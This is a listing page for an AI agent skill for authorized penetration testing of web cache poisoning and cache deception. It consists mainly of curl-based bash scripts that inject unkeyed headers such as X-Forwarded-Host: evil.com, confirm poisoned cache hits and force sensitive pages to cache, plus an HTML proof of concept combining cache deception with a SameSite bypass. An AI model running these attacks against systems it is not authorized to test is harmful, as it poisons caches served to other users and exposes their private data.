关于 cache-attack
面向 Web 安全测试人员的技能,提供 Web 缓存投毒(WCP)和缓存欺骗(WCD)的测试流程。它涵盖缓存检测、未纳入缓存键的输入测试,以及对缓存结果的验证。
主要功能
- 01检测 CDN 和反向代理缓存
- 02测试未纳入缓存键的输入
- 03验证缓存投毒结果
- 04测试缓存欺骗路径
- 05使用缓存标头确认命中
适用场景
- 01评估授权目标的缓存行为
- 02验证响应是否受恶意输入影响并被缓存
- 03检查敏感页面是否可能被缓存暴露
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill cache-attack安装后在 Claude Code 中输入/cache-attack确认已加载。
详细介绍
缓存攻击技能
Web 缓存投毒(WCP)和 Web 缓存欺骗(WCD)方法。WCP 会将恶意内容注入缓存页面,并将其提供给其他用户。WCD 则诱使缓存存储敏感页面,攻击者随后可以读取这些页面。这两种技术都利用 CloudFront、Cloudflare、Fastly、Varnish 和 Nginx 上的 CDN 与反向代理缓存行为。
适用场景
- 目标使用 CDN(CloudFront、Cloudflare、Fastly)或反向代理(Varnish、Nginx 缓存)。
- 响应头中显示
X-Cache、Age、cf-cache-status或X-Cache-Hits。 - 表面侦察未发现直接漏洞后,将测试方向转向基础设施层。
- 目标允许在 URL 路径中操纵文件扩展名(.css、.json、.js)。
前提条件
- 安装了 curl 的
terminal。 - 用于安全测试的缓存破坏参数(
?cb=RANDOM)。 - 耐心:缓存投毒需要精准把握时机,可能需要多次尝试。
运行方法
# Phase 1: Detect cache
curl --max-time 30 --connect-timeout 10 -skI "https://TARGET/" | grep -iE "age|x-cache|cf-cache-status|via|server"
# Phase 2: Test cache storage (two identical requests)
curl --max-time 30 --connect-timeout 10 -skI "https://TARGET/?cb=TEST1" | grep -iE "x-cache|cf-cache-status"
curl --max-time 30 --connect-timeout 10 -skI "https://TARGET/?cb=TEST1" | grep -iE "x-cache|cf-cache-status"
# Second response should show HIT if caching works
# Phase 3: Test unkeyed header reflection
curl --max-time 30 --connect-timeout 10 -skI "https://TARGET/" -H "X-Forwarded-Host: evil.com" | grep -i "location\|evil.com"
快速参考
Web 缓存投毒(WCP)——攻击者为受害者投毒缓存
| 反射位置 | 影响 | 严重性 |
|---|---|---|
<link rel="canonical"> | SEO 投毒 | 中 |
<script src="..."> | XSS(存储在缓存中) | 严重 |
<meta property="og:url"> | 网络钓鱼(链接预览) | 高 |
Location: 响应头 | 大规模开放重定向 | 高 |
<form action="..."> | 凭据窃取 | 高 |
<link rel="stylesheet"> | CSS 注入 | 中 |
Web 缓存欺骗(WCD)——受害者的敏感页面被缓存,攻击者读取该页面
| 技术 | 示例 | 严重性 |
|---|---|---|
| 强制使用扩展名 | /profile.php/.css | 严重 |
| 路径分隔符 | /profile.php;.css | 严重 |
| 查询字符串 | /profile?cb=123.css | 高 |
| URL 编码 | /profile%2f..%2findex.css | 高 |
流程
阶段 1 — 检测缓存
TARGET="$1"
echo "[*] Cache detection on $TARGET"
# Check for cache headers
RESP=$(curl -skI --max-time 10 --connect-timeout 10 "https://$TARGET/" 2>/dev/null)
echo "Cache headers:"
echo "$RESP" | grep -iE "age|x-cache|cf-cache-status|via|x-served-by|x-cache-hits|x-timer|server"
# Deduce CDN
if echo "$RESP" | grep -qi "cloudfront"; then
echo "[+] CloudFront detected — test WCD with path delimiter tricks"
elif echo "$RESP" | grep -qi "cloudflare"; then
echo "[+] Cloudflare detected — test WCP with unkeyed headers"
elif echo "$RESP" | grep -qi "varnish\|x-cache"; then
echo "[+] Varnish detected — test WCD with extension forcing"
elif echo "$RESP" | grep -qi "akamai"; then
echo "[+] Akamai detected — test WCP with X-Forwarded-Host"
fi
# Confirm caching with two identical requests
echo ""
echo "[*] Cache storage test:"
CACHE_BUSTER="cb=$(date +%s)"
echo -n " Request 1: "
curl --max-time 30 --connect-timeout 10 -sk -o /dev/null -w "%{http_code}" "https://$TARGET/?$CACHE_BUSTER" -H "X-Cache-Debug: 1"
echo ""
sleep 2
echo -n " Request 2: "
curl --max-time 30 --connect-timeout 10 -sk -o /dev/null -w "X-Cache: %header{x-cache} | Age: %header{age}" "https://$TARGET/?$CACHE_BUSTER" 2>/dev/null
echo ""
# Test Age increment on repeated requests (no cache buster)
echo ""
echo -n " Request 1 (no cb): "
AGE1=$(curl -skI "https://$TARGET/" 2>/dev/null | grep -i "^age:" | awk '{print $2}' | tr -d '\r')
echo "Age: ${AGE1:-none}"
sleep 3
echo -n " Request 2 (no cb): "
AGE2=$(curl -skI "https://$TARGET/" 2>/dev/null | grep -i "^age:" | awk '{print $2}' | tr -d '\r')
echo "Age: ${AGE2:-none}"
if [[ -n "$AGE1" && -n "$AGE2" && "$AGE2" -gt "$AGE1" ]]; then
echo " [+] Age increments confirmed — cache is STORING responses"
fi
阶段 2 — 查找未纳入缓存键的输入(WCP)
TARGET="$1"
CACHE_BUSTER="cb=$(date +%s)"
# 15 unkeyed headers to test
UNKEYED_HEADERS=(
"X-Forwarded-Host: evil.com"
"X-Forwarded-Scheme: http"
"X-Forwarded-For: 127.0.0.1"
"X-Host: evil.com"
"X-Original-URL: /admin"
"X-Rewrite-URL: /admin"
"Forwarded: for=evil.com"
"X-Forwarded-Port: 8443"
"X-Amz-Website-Redirect-Location: /malicious"
"X-HTTP-Method-Override: POST"
"X-HTTP-Method: DELETE"
"X-Method-Override: PUT"
)
echo "[*] Testing ${#UNKEYED_HEADERS[@]} unkeyed headers..."
for header in "${UNKEYED_HEADERS[@]}"; do
key=$(echo "$header" | cut -d: -f1)
value=$(echo "$header" | cut -d: -f2- | xargs)
resp=$(curl -skI --max-time 10 --connect-timeout 10 "https://$TARGET/?$CACHE_BUSTER" -H "$header" 2>/dev/null)
if echo "$resp" | grep -qi "$value"; then
echo " [REFLECTED] $key: $value"
echo " $(echo "$resp" | grep -i "location\|$value" | head -1)"
fi
done
阶段 3 — 验证缓存存储(WCP)
TARGET="$1"
MALICIOUS="evil.com"
PAYLOAD="x-forwarded-host: $MALICIOUS"
CACHE_BUSTER="cb=POISON_TEST_$(date +%s)"
echo "[*] Cache poisoning test with $PAYLOAD"
# Step 1: Poison — send request with malicious header
echo "[1] Poisoning cache..."
POISON_RESP=$(curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/?$CACHE_BUSTER" -H "$PAYLOAD" -o /dev/null -w "%{http_code}" 2>/dev/null)
echo " Poison request: HTTP $POISON_RESP"
sleep 2
# Step 2: Confirm cache HIT
echo "[2] Checking cache..."
CACHE_HIT=$(curl -skI "https://$TARGET/?$CACHE_BUSTER" 2>/dev/null | grep -i "x-cache.*hit\|cf-cache-status.*HIT")
if [[ -n "$CACHE_HIT" ]]; then
echo " [+] Cache HIT confirmed: $CACHE_HIT"
# Step 3: Read cached response (without the header)
echo "[3] Reading cached response..."
CACHED=$(curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/?$CACHE_BUSTER" 2>/dev/null)
if echo "$CACHED" | grep -q "$MALICIOUS"; then
echo " [CRITICAL] POISON STORED IN CACHE!"
echo " Malicious content served to all users of this URL"
else
echo " [-] Poison not stored (header is keyed or response doesn't reflect)"
fi
else
echo " [-] Cache MISS — response not cached"
fi
阶段 4 — Web 缓存欺骗(WCD)
TARGET="$1"
SENSITIVE_URL="$2" # e.g., /profile or /wp-json/wp/v2/users
echo "[*] WCD test on $TARGET"
# Test extension forcing
for ext in ".css" ".js" ".json" ".png" ".ico"; do
WCD_URL="${SENSITIVE_URL}${ext}"
echo " Testing: $WCD_URL"
# Step 1: Force cache with fake static extension
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET$WCD_URL" -H "X-Forwarded-Host: attacker.com" \
-H "Accept: text/css,*/*" -o /tmp/wcd_test_$$.txt 2>/dev/null
# Step 2: Check if sensitive data was cached
CACHE_CHECK=$(curl -skI "https://$TARGET$WCD_URL" 2>/dev/null | grep -i "x-cache.*hit\|cf-cache-status.*HIT")
if [[ -n "$CACHE_CHECK" ]]; then
echo " [CRITICAL] $WCD_URL CACHED — sensitive data stored!"
# Check content
if grep -qiE "email|password|token|user|auth" /tmp/wcd_test_$$.txt; then
echo " [CRITICAL] SENSITIVE DATA IN CACHED RESPONSE!"
head -5 /tmp/wcd_test_$$.txt
fi
fi
rm -f /tmp/wcd_test_$$.txt
sleep 0.5
done
# Test path delimiter tricks
for delim in ";.css" "%2f..%2findex.css" "..;.css"; do
WCD_URL="${SENSITIVE_URL}${delim}"
code=$(curl --max-time 30 --connect-timeout 10 -sk -o /dev/null -w "%{http_code}" "https://$TARGET$WCD_URL" 2>/dev/null)
[[ "$code" != "404" ]] && echo " [POTENTIAL] $WCD_URL → HTTP $code"
sleep 0.3
done
阶段 5 — SameSite Lax 绕过 + WCD 组合
# If the target uses SameSite=Lax cookies, WCD alone won't work because
# cookies aren't sent on cross-site requests. But SameSite=Lax sends
# cookies on TOP-LEVEL NAVIGATION (meta refresh, anchor click, form GET).
# Combo payload:
cat > wcd_samesite_poc.html << 'HTMLEOF'
<html>
<head>
<meta http-equiv="refresh" content="0; url=https://TARGET/profile.php/.css">
</head>
<body>
<p>Redirecting...</p>
<a id="fallback" href="https://TARGET/profile.php/.css">Click here</a>
<script>document.getElementById('fallback').click();</script>
</body>
</html>
HTMLEOF
echo "[+] WCD + SameSite bypass PoC saved to wcd_samesite_poc.html"
注意事项
- 反射 ≠ 缓存投毒。 响应头中出现反射,并不意味着内容已被缓存。务必通过第二次请求验证是否已存储。
- 必须使用缓存破坏参数。 每次测试都必须使用唯一的缓存破坏参数,否则可能污染真实用户的缓存。
- 缓存键规范化。 CDN 可能会在缓存前规范化 URL。请测试大小写变化、尾部斜杠和被忽略的参数。
- 超长 GET 请求走私。 某些 CDN 接受超过 4000 个字符的查询字符串。源站和缓存可能会以不同方式处理超长请求。
- 参数混淆。 重复参数(例如
?p=1&p=2)可能导致缓存键混淆。
验证
- WCP:第二次请求被投毒的 URL(不带恶意响应头)时,必须返回被投毒的内容。
- WCD:缓存的响应必须包含敏感用户数据(PII、会话令牌、API 响应)。
- 必须通过
X-Cache: Hit或cf-cache-status: HIT响应头确认缓存命中。 - 始终恢复干净状态:验证后清除测试产生的缓存条目。
评论
支持 Markdown